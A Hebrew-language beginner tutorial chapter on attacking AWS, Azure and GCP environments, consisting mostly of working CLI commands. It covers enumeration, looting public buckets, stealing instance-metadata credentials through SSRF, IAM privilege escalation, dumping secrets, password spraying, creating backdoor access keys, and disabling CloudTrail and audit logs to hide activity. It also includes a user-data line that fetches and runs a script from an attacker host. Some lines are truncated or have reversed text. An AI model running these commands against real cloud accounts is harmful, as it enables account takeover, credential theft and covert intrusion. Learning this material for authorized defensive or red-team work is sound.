

פרק י' — Cloud :Red Teaming תקיפת תשתיות ענן

מדריך מלא למתחילים — בעברית

פרק י' — Cloud Red

Teaming: תקיפת תשתיות ענן

מבוא: למה Cloud?

כמעט כל ארגון גדול היום עובד עם ענן — AWS, Azure, GCP, או שילוב ביניהם. הענן שינה את כל מה שידענו על security:

- אין **perimeter** — כל שירות נגיש מה-internet
- **IAM הוא הכל** — זהויות במקום firewalls
- **misconfigurations** — **Infrastructure-as-Code** בקוד = misconfigurations בענן
- **Shared Responsibility** — ספק הענן מאבטח את ה-infrastructure, **אתה** מאבטח את מה שבנית עליו

אטלס המושגים: מונחי ענן בסיסיים

לפני שנתחיל, בוא נלמד את השפה:

:AWS (Amazon Web Services)

- **IAM** — Identity and Access Management (ניהול זהויות והרשאות)
- **IAM User** — משתמש עם (Access Key + Secret Key) credentials
- **IAM Role** — זהות שניתן "להניח" על-ידי services
- **IAM Policy** — מסמך JSON שמגדיר מה מותר/אסור
- **S3** — Simple Storage Service (אחסון קבצים, כמו Google Drive)
- **EC2** — Elastic Compute Cloud (מכונות וירטואליות)
- **Lambda** — Serverless Functions
- **RDS** — Relational Database Service
- **VPC** — Virtual Private Cloud (רשת פרטית)
- **STS** — Security Token Service (tokens זמניים)
- **IMDS** — Instance Metadata Service (מידע על ה-EC2 instance)

:Azure

- **Azure AD** — שירות הזהויות של Azure

- **Service Principal** — בדומה ל-IAM Role ב-AWS
- **Managed Identity** — זהות שמוצמדת ל-Azure resource
- **Storage Account / Blob Storage** — בדומה ל-S3
- **Key Vault** — אחסון secrets

:GCP

- **Service Account** — בדומה ל-IAM Role
- **GCS** — Google Cloud Storage (בדומה ל-S3)
- **GCE** — Google Compute Engine (VMs)
- **Workload Identity** — federated identity

חלק א': AWS Red Teaming

שלב 0: הגדרת כלים

```
# AWS CLI:
pip install awscli

aws configure

# AWS Access Key ID: AKIAXXXXXXXX
# AWS Secret Access Key: xxxxxxxxxxxxxxxxxxxx

# Default region: us-east-1
# Default output format: json

# הגדרת profile ספציפי:
aws configure --profile victim
aws s3 ls --profile victim

# Pacu – AWS exploitation framework:
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu && pip3 install -r requirements.txt
python3 pacu.py

# CloudMapper – ויזואליזציה של AWS environment:
git clone https://github.com/duo-labs/cloudmapper
```

שלב 1: מה יש לי? (Enumeration)

```
# מי אני?  
aws sts get-caller-identity  
  
# {  
#   "UserId": "AIDAXXXXXXXX",  
#   "Account": "123456789012",  
#   "Arn": "arn:aws:iam::123456789012:user/developer"  
# }  
  
# מה ה-permissions שלי?  
# enumerate-iam tool:  
git clone https://github.com/andresriancho/enumerate-iam  
cd enumerate-iam && python3 enumerate-iam.py --access-key KEY --secret-key SECRET  
  
# ב-Pacu:  
run iam__enum_permissions  
run iam__enum_users_roles_policies_groups
```

Enumeration ידני:

```
# Users:

aws iam list-users

aws iam list-users --query 'Users[*].[UserName,CreateDate,PasswordLastUsed]' --output tab

# Groups:

aws iam list-groups

aws iam get-group --group-name GroupName

# Roles:

aws iam list-roles

aws iam get-role --role-name RoleName

# Policies מחוברות ל-user:

aws iam list-attached-user-policies --user-name USERNAME

aws iam list-user-policies --user-name USERNAME

# תוכן policy-ה:

aws iam get-policy-version --policy-arn arn:aws:iam::ACCOUNT:policy/PolicyName --version-

# Access Keys:

aws iam list-access-keys --user-name USERNAME

# S3:

aws s3 ls # כל ה-buckets

aws s3 ls s3://bucket-name --recursive

# EC2:

aws ec2 describe-instances

aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,PrivateIpAdd

# Lambda:

aws lambda list-functions

aws lambda get-function --function-name FunctionName

aws lambda get-function-configuration --function-name FunctionName

# RDS:

aws rds describe-db-instances
```

```
# Secrets Manager:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id SecretName # רק אם יש הרשאה
```

שלב 2: S3 Bucket Attacks

S3 buckets הם ה-vector הנפוץ ביותר ב-AWS attacks. כמויות עצומות של organizations מגדירות **public buckets** בטעות.

מציאת buckets:

```
# כלים:
# S3Scanner:
python3 s3scanner.py --bucket bucket-name
python3 s3scanner.py --bucket-file buckets.txt

# AWSBucketDump:
python AWSBucketDump.py -D -l bucket_list.txt

# S3Recon:
s3recon find -t company.com

# באמצעות כלי OSINT:
# Google: site:s3.amazonaws.com "company"
# Bucket names לניחוש:
# company-backup, company-dev, company-prod, company-logs, company-assets
# companypublic, companyinternal, companystageing, companytest

# בדיקה ידנית:
aws s3 ls s3://bucket-name 2>/dev/null # ללא credentials
curl -s https://bucket-name.s3.amazonaws.com/ 2>/dev/null

# אם הbucket public:
aws s3 sync s3://bucket-name /tmp/bucket-data --no-sign-request
```

:Bucket ACLs

```
# בדוק הרשאות (אם יש לך access):
aws s3api get-bucket-acl --bucket bucket-name

# List bucket policy:
aws s3api get-bucket-policy --bucket bucket-name

# Public access block settings:
aws s3api get-public-access-block --bucket bucket-name

# אם PublicAccessBlockConfiguration הכל false – bucketn עשוי להיות public
```

ניצול bucket שנמצא:

```
# קרא כל הקבצים:
aws s3 ls s3://victim-bucket --recursive --no-sign-request
aws s3 cp s3://victim-bucket/sensitive-data.txt /tmp/ --no-sign-request

# חפש credentials, keys, passwords
aws s3 cp s3://victim-bucket /tmp/bucket --recursive --no-sign-request
grep -r "password\|secret\|key\|token" /tmp/bucket/
grep -r "AKIA" /tmp/bucket/ # AWS Access Key patterns

# אם יש לך Write (misconfigured)
echo "pwned" | aws s3 cp - s3://victim-bucket/OWNED.txt --no-sign-request
# Website defacement: העלה index.html
```

שלב 3: IMDS — Instance Metadata Service

הסבר:

כל EC2 instance יכול לגשת ל-IMDS בכתובת `169.254.169.254` — זוהי כתובת link-local שנגישה רק מה-instance עצמו. ה-IMDS מספק מידע רגיש כמו credentials זמניים של ה-Role שמחובר ל-instance.

IMDS v1 (הישנה, לא בטוחה) — פשוט curl:

```

:EC2 instance מתוך #
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
role-name-here :פלט #

:Role של credentials קבל #
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name-here
# {
#   "Code" : "Success",
#   "LastUpdated" : "2024-01-01T00:00:00Z",
#   "Type" : "AWS-HMAC",
#   "AccessKeyId" : "ASIAXXXXXXXX",
#   "SecretAccessKey" : "xxxxxxxxxxxx",
#   "Token" : "very-long-session-token...",
#   "Expiration" : "2024-01-01T06:00:00Z"
# }

:מידע נוסף #
curl http://169.254.169.254/latest/meta-data/hostname
curl http://169.254.169.254/latest/meta-data/public-ipv4
curl http://169.254.169.254/latest/meta-data/local-ipv4
curl http://169.254.169.254/latest/user-data # startup scripts – מכיל passwords!

```

שימוש ב-credentials שקיבלת:

```

:environment variables הגדר #
export AWS_ACCESS_KEY_ID=ASIAXXXXXXXX
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxx
export AWS_SESSION_TOKEN=very-long-session-token...

:Role של permissions קח את כל ה- #
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances

```

SSRF → IMDS (הוקטור הנפוץ ביותר!):


```
# אם מצאת SSRF ב Web App שרצה על EC2:
# מ FINDING של SSRF → גש ל-IMDS
curl "https://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/se

!credentials קיבלת - אם השרת מחזיר את התוכן
# SSRF to full AWS account takeover – classic attack chain
```

IMDS v2 (ה-safer version) — דורש session token

```
# IMDSv2 – PUT request צריך לקבל token ראשון:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# עכשיו השתמש ב-token:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
-H "X-aws-ec2-metadata-token: $TOKEN"

# headers עם PUT-צריך לתמוך ב-SSRF – קשה יותר ל-IMDSv2-ל-SSRF
```

שלב 4: IAM Privilege Escalation

הסבר:

גם אם יש לך Access Key עם הרשאות מוגבלות, אולי אפשר להשתמש בהן כדי לקבל הרשאות גדולות יותר.

כלי: **aws_escalate**:

```
python3 aws_escalate.py --access-key KEY --secret-key SECRET
```

Pacu:

```
run iam__privesc_scan
```

ניצולים ידניים נפוצים:

```
# 1. iam:CreateAccessKey – למשתמש אחר key צור:
aws iam create-access-key --user-name admin

# 2. iam:CreateLoginProfile – למשתמש שאין לו password הוסף:
aws iam create-login-profile --user-name admin --password NewPass123! --no-password-reset

# 3. iam:AttachUserPolicy – ל-user policy חבר (כולל עצמך):
aws iam attach-user-policy --user-name your_user --policy-arn arn:aws:iam::aws:policy/AdministratorPolicy

# 4. iam:CreatePolicyVersion – policy version עם permissions * לכזה:
aws iam create-policy-version --policy-arn arn:aws:iam::ACCOUNT:policy/TargetPolicy \
    --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["*"],"Resource":["*"]}]}
    --set-as-default

# 5. iam:PassRole + ec2:RunInstances – role עם EC2 הרץ:
aws ec2 run-instances --image-id ami-xxx --instance-type t2.micro \
    --iam-instance-profile Name=powerful-role-profile \
    --user-data '#!/bin/bash\ncurl http://ATTACKER/steal-creds.sh | bash'

# 6. lambda:CreateFunction + iam:PassRole – permissions עם Lambda הרץ:
aws lambda create-function --function-name evil \
    --runtime python3.9 \
    --role arn:aws:iam::ACCOUNT:role/powerful-role \
    --handler index.handler \
    --zip-file fileb://evil_lambda.zip

aws lambda invoke --function-name evil /tmp/output.json
```

```
# Secrets Manager:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id MySecret

# Parameter Store (SSM):
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
aws ssm get-parameter --name "/app/db/password" --with-decryption

# Environment variables ב-Lambda:
aws lambda get-function-configuration --function-name FunctionName | jq '.Environment.Variables'

# CloudFormation outputs (לפעמים מכיל credentials):
aws cloudformation describe-stacks
aws cloudformation describe-stack-resource --stack-name StackName --logical-resource-id ResourceName

# CodeBuild environment variables:
aws codebuild batch-get-projects --names ProjectName | jq '[] | .environment.environmentVariables'

# EC2 User Data (startup scripts):
aws ec2 describe-instance-attribute --instance-id i-xxx --attribute userData | \
jq -r '.UserData.Value' | base64 -d
```

```
# Assume Role (אם מותר לך):
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCOUNT:role/CrossAccountRole \
    --role-session-name attack-session

# פלט:
# Credentials.AccessKeyId
# Credentials.SecretAccessKey
# Credentials.SessionToken

export AWS_ACCESS_KEY_ID=new_key
export AWS_SECRET_ACCESS_KEY=new_secret
export AWS_SESSION_TOKEN=new_token

# בדיקת accounts אחרים שנגישים:
aws organizations list-accounts # Organizations אם יש הרשאת

# AWS Backdoor – קיים user ל access key חוסף –
aws iam create-access-key --user-name target-user

# CloudTrail disable (כיסוי עקבות):
aws cloudtrail stop-logging --name trail-name
aws cloudtrail delete-trail --name trail-name
```

```
# Azure CLI:
curl -sL https://aka.ms/InstallAzureCLIDeb | bash
az login # login browser
az login --service-principal -u APP_ID -p PASSWORD --tenant TENANT_ID # service principa

# PowerZure – Azure exploitation:
git clone https://github.com/hausec/PowerZure
Import-Module PowerZure.ps1

# ROADtools – Azure AD enumeration:
pip3 install roadtools
roadrecon auth -t TENANT_ID --as-app -u USER -p PASS
roadrecon gather
roadrecon gui # web UI

# AzureHound – BloodHound לAzure:
git clone https://github.com/BloodHoundAD/AzureHound
./azurehound -u USER -p PASS list --tenant TENANT_ID -o output.json
```

```
# מ' אני?
az account show
az ad signed-in-user show

# Subscriptions:
az account list --all

# Resource Groups:
az group list

# Resources:
az resource list

# Virtual Machines:
az vm list -o table
az vm list-ip-addresses

# Storage Accounts:
az storage account list
az storage blob list --account-name ACCOUNT --container-name CONTAINER

# Key Vault:
az keyvault list
az keyvault secret list --vault-name VaultName
az keyvault secret show --vault-name VaultName --name SecretName

# App Services:
az webapp list
az webapp config appsettings list --name AppName --resource-group RG # env vars!

# Service Principals:
az ad sp list --all

# Users:
az ad user list
az ad user show --id user@company.com
```

```
# Groups:
az ad group list
az ad group member list --group GroupName

# Roles:
az role assignment list --all
az role definition list --query '[*].roleName'
```

Azure Managed Identity Abuse

```
:Managed Identity עם Azure VM מתוך #
# IMDS של Azure:
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resour
-H 'Metadata: true'

!access_token הפלט מכיל #

:token- השתמש ב- #
TOKEN="your-access-token"
curl -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions/SUB_ID/resources?api-version=2021-04-01"

# Key Vault עם Managed Identity:
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resour
-H 'Metadata: true'

KEY_VAULT_TOKEN="vault-access-token"
curl -H "Authorization: Bearer $KEY_VAULT_TOKEN" \
    "https://MY-VAULT.vault.azure.net/secrets/MySecret?api-version=7.0"
```

Azure Blob Storage (Public Containers)

```
# בדיקת containers ציבוריים:
# Naming convention: STORAGE_ACCOUNT.blob.core.windows.net/CONTAINER
curl https://companyname.blob.core.windows.net/public/?restype=container&comp=list

# כלי:
git clone https://github.com/NetSPI/MicroBurst
Import-Module MicroBurst.psm1

Invoke-EnumerateAzureBlobs -Base "companyname"
Invoke-EnumerateAzureSubDomains -Base "companyname"

# StorageExplorer (GUI):
# https://azure.microsoft.com/en-us/products/storage/storage-explorer/

# או כשמצאת container פתוח:
az storage blob list --account-name ACCOUNT --container-name CONTAINER --no-auth-required
az storage blob download --account-name ACCOUNT --container-name CONTAINER --name file.tx
```

```
# Password Spray ב-Azure AD (Microsoft 365):
# MailSniper (PowerShell):
Invoke-PasswordSpray0WA -ExchHostname outlook.office365.com -UserList users.txt -Password

# MSOLSpray:
Invoke-MSOLSpray -UserList users.txt -Password "Winter2024!" -Verbose

# ROADrecon – dump כל Azure AD:
roadrecon auth --username user@company.com --password pass
roadrecon gather

:ואז #
roadrecon gui # http://localhost:5000

# BloodHound + AzureHound:
./azurehound list -u user@company.com -p pass --tenant TENANT_ID -o output.json
BloodHound-ל ייבא #

# Global Admin abuse:
az ad user update --id user@company.com --password NewPass123!

:PRT (Primary Refresh Token)-ב פגיעה #
Azure AD-ל שמחובר Windows Machine-ל גישה ל-אם יש לך #

# ROADtools + AADInternals:
Import-Module AADInternals
Get-AADIntPRTKeys # dump PRT
Use-AADIntPRT -PRT prt_value -CertPfx cert.pfx -CertPassword pass
```

```
# gcloud CLI:
curl https://sdk.cloud.google.com | bash

# ג'ישה עם credentials:
gcloud auth login # browser
gcloud auth activate-service-account --key-file=key.json # service account key

# GCPBucketBrute:
git clone https://github.com/RhinoSecurityLabs/GCPBucketBrute
python3 gcpbucketbrute.py -k keywords.txt

# ScoutSuite – multi-cloud security audit:
pip3 install scoutsuite
scout gcp --project-id PROJECT_ID
```

```
# מ' אני?  
gcloud auth list  
gcloud config list  
  
# Projects:  
gcloud projects list  
  
# Compute:  
gcloud compute instances list  
gcloud compute instances describe INSTANCE --zone ZONE  
  
# Storage:  
gcloud storage buckets list  
gcloud storage ls gs://bucket-name  
gcloud storage cp gs://bucket-name/file /tmp/  
  
# IAM:  
gcloud iam service-accounts list  
gcloud projects get-iam-policy PROJECT_ID  
gcloud iam service-accounts get-iam-policy SA_EMAIL  
  
# Secrets:  
gcloud secrets list  
gcloud secrets versions access latest --secret=SecretName  
  
# Cloud Functions:  
gcloud functions list  
gcloud functions describe FUNCTION --region REGION
```

```
:GCE instance מתוך #
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default"
-H "Metadata-Flavor: Google"

:פלט #
# {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}

:token-ב השתמש #
TOKEN="ya29.xxx"
curl -H "Authorization: Bearer $TOKEN" \
    "https://www.googleapis.com/compute/v1/projects/PROJECT/zones/ZONE/instances"

# Service Account key:
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default"
-H "Metadata-Flavor: Google"

# Environment Variables:
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"
-H "Metadata-Flavor: Google"
```

```
# ציבורי – ללא authentication
curl https://storage.googleapis.com/BUCKET_NAME/

gsutil ls gs://BUCKET_NAME # ללא gcloud auth

# אם נגיש:
gsutil -m cp -r gs://BUCKET_NAME /tmp/

# בדיקת permissions
gsutil iam get gs://BUCKET_NAME

# כתיבה לbucket פתוח:
echo "pwned" > /tmp/test.txt
gsutil cp /tmp/test.txt gs://BUCKET_NAME/
```

חלק ד': Common Cloud Misconfigurations

1. Overly Permissive Roles

```
# AWS – עם policies מצא *
aws iam list-policies --scope Local | jq '.Policies[].PolicyName'

# לכל policy – בדוק אם יש * actions
aws iam get-policy-version --policy-arn arn:aws:iam::ACCOUNT:policy/POLICY \
  --version-id v1 | \
  jq '.PolicyVersion.Document.Statement[] | select(.Effect=="Allow") | select(.Action |

# Azure – עם Custom Roles מצא * actions:
az role definition list --custom-role-only true | jq '[][].permissions[].actions'

# GCP – Service Accounts עם Editor/Owner:
gcloud projects get-iam-policy PROJECT_ID | \
  grep -A 3 "roles/editor\|roles/owner"
```

2. Public Snapshots (AWS)

```
# ציבוריים EBS Snapshots:
aws ec2 describe-snapshots --owner self --filters Name=description,Values=*
PromisedAid: Public בודק #

# מצא snapshots ציבוריים של accounts אחרים (לחיפוש חולשות):
aws ec2 describe-snapshots --owner PUBLIC \
    --filters Name=description,Values="*company*" --region us-east-1

# Mount snapshot:
snapshot-מה volume צור # 1.
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# 2. Attach ל-EC2 שלך
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# 3. Mount בנתונים ועיין
mkdir /mnt/snapshot && mount /dev/xvdf1 /mnt/snapshot
ls /mnt/snapshot # של ה-files כל ה
```

3. Lambda Environment Variables

```
# לפעמים functions מאחסנות secrets ב-vars env:
aws lambda get-function-configuration --function-name FunctionName | \
    jq '.Environment.Variables'

# API Keys, DB passwords, tokens – הכל שם
```

4. Exposed RDS Publicly

```
aws rds describe-db-instances | \
    jq '.DBInstances[] | {id: .DBInstanceIdentifier, endpoint: .Endpoint.Address, public:

# אם PubliclyAccessible: true – הDB נגיש מה-internet!
# נסה להתחבר עם default credentials
```

```
# בדוק אם logging פעיל:
aws cloudtrail get-trail-status --name trail-name
aws cloudtrail describe-trails

# אם disabled – תוקף לא משאיר עקבות
```

חלק ה': Cloud Attack Chains — דוגמאות מהחיים

Attack Chain 1: SSRF → IMDS → Full Account Takeover (AWS)

```
1. מצא Web App שרץ על EC2 עם SSRF vulnerability
   payload: url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

2. קבל שם ה-Role:
   url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole

3. קבל credentials:
   url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole/

   → AccessKeyId, SecretAccessKey, Token

4. הגדר credentials ב-AWS CLI

5. בדוק permissions:
   enumerate-iam.py ...

6. אם יש attach AdministratorAccess → own account
```

Attack Chain 2: Public S3 → Credentials → Lateral Movement

1. גלה bucket ציבורי בrecon:

```
company-dev-bucket.s3.amazonaws.com
```

2. הורד כל הקבצים:

```
aws s3 sync s3://company-dev-bucket /tmp/ --no-sign-request
```

3. חפש credentials:

```
grep -r "AKIA\|secret\|password" /tmp/
```

4. מצא AWS credentials בקובץ .env:

```
AWS_ACCESS_KEY_ID=AKIA...
```

```
AWS_SECRET_ACCESS_KEY=xxxx
```

5. השתמש ב-credentials החדשות

6. הן שייכות ל-developer user עם S3 FullAccess + EC2 ReadAccess

7. מצא EC2 instance עם role חזק

8. SSM (Systems Manager) → Execute command על instance:

```
aws ssm send-command --instance-ids i-xxx \
```

```
--document-name "AWS-RunShellScript" \
```

```
--parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security
```


Attack Chain 3: GitHub Leak → AWS Root Account

1. GitHub OSINT: גלה commit עם AWS credentials

2. credentials ל שייכות ל CI/CD service account

3. service account ל יכולה ל AssumeRole

4. מצא Role עם Condition ל try to assume → ax

5. Role נותן S3 + EC2 access

6. EC2 SSH key stored ב S3 – חורד

7. SSH ל instances

חלק ו': Cloud Defense Evasion

```
# AWS – disable CloudTrail:
aws cloudtrail stop-logging --name trail-name

# Stealth – הפעל מה region של IP-הנכון:
# CloudTrail logs מכילים source IP – מה פועלת US-Region ו-אם פועלת מה – eu-west-1 הוא Region

# Pacu – stealth mode:
run aws__enum_account --stay-logged-in
run cloudtrail__disable

# Azure – disable audit logs:
az monitor log-profiles delete --name LogProfile

# אל תעשה פעולות destructive – הן מה שמתגלה
# ה-IAM actions עצמם מוקלטות

# Use existing tools (LOtL ב-cloud):
# AWS Systems Manager (SSM) במקום RDP/SSH
# CloudShell ב-GCP
# Azure Cloud Shell
```

כלי	Cloud	שימוש
Pacu	AWS	Framework לתקיפה
enumerate-iam	AWS	מציא permissions
S3Scanner	AWS	מציא public buckets
ScoutSuite	AWS/Azure/GCP	Security audit
ROADtools	Azure	Azure AD enum
AzureHound	Azure	BloodHound ל־Azure
PowerZure	Azure	Post-exploitation
GCPBucketBrute	GCP	Bucket enumeration
CloudMapper	AWS	ויזואליזציה
WeirdAAL	AWS	Enumeration
CloudFox	AWS	Post-exploitation

1. Discovery

- OSINT: GitHub/Pastebin leaks
- Subdomain enumeration → cloud hostnames
- Certificate transparency

2. Initial Access

- Leaked credentials (Git, Pastebin)
- Public S3 bucket
- SSRF → IMDS

3. Enumeration

- `sts get-caller-identity`
- `iam enum permissions`
- List all resources

4. Privilege Escalation

- IAM misconfiguration
- Assume Role
- Managed Identity abuse

5. Persistence

- Create access keys
- Add backdoor user
- Modify Lambda function

6. Data Exfiltration

- S3 sync
- Secrets Manager dump
- RDS dump via proxy

7. Lateral Movement

- Cross-account assume role
- SSM command execution
- Lambda/EC2 pivot

בפרק הבא: **פרק 11 — Malware Development**: פיתוח implants, shellcode, evasion מ-AV/EDR, C2 communication, ועוד.